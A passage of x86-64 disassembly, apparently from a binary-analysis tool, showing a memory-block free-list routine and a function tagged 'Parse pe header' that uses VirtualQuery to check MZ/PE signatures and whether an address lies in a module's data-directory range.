mov qword [0x18006a0d0], rax
nop word [rax + rax]
mov qword [rdx], r8
lea rdx, [rdx - 0x60]
mov r8, rcx
sub rcx, 0x60
sub r9, 1
jne 0x180002920
mov qword [rax + 0x10], r8
mov rdx, qword [rax + 0x10]
cmp rdx, rbx
jb 0x18000297b
cmp rdx, rdi
ja 0x18000297b
mov rcx, qword [rdx + 0x48]
movdqa xmm0, xmmword [0x18004ec20]
mov qword [rax + 0x10], rcx
mov rax, rdx
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm0
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm0
movups xmmword [rdx + 0x40], xmm0
movups xmmword [rdx + 0x50], xmm0
mov rdi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret
mov rdi, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x180002cb0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x50
mov rbx, rdx
mov r8d, 0x30
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_VirtualQuery
nop
mov eax, 0x5a4d
mov rcx, qword [rsp + 0x28]
cmp word [rcx], ax
je 0x180002cdd
xor al, al
jmp 0x180002d1f
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rdx + rcx], 0x4550
je 0x180002cee
xor al, al
jmp 0x180002d1f
mov r8d, dword [rdx + rcx + 0xe8]
lea rax, [r8 + rcx]
cmp rbx, rax
jb 0x180002d15
mov eax, dword [rdx + rcx + 0xec]
add rax, r8
add rax, rcx
cmp rbx, rax
jae 0x180002d15
mov al, 1
jmp 0x180002d1f
xor al, al
add rsp, 0x50
pop rbx
ret
add rsp, 0x50
pop rbx
ret